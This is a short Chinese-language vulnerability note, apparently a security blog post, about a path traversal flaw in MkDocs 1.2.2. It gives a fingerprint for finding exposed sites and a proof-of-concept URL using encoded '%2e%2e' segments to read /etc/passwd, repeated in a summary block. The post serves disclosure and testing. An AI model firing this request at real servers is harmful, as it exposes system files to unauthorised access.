漏洞描述
MKdocs中存在通过 %2e%2e 来遍历目录，读取敏感文件。
漏洞影响
Mkdocs 1.2.2
网络测绘
title=”My Docs”
漏洞复现
主页面
验证POC
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
© 版权声明
THE END
喜欢就支持一下吧
推荐阅读
MKdocs中存在通过 %2e%2e 来遍历目录，读取敏感文件。
Mkdocs 1.2.2
title=”My Docs”
主页面
验证POC
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
暂无评论内容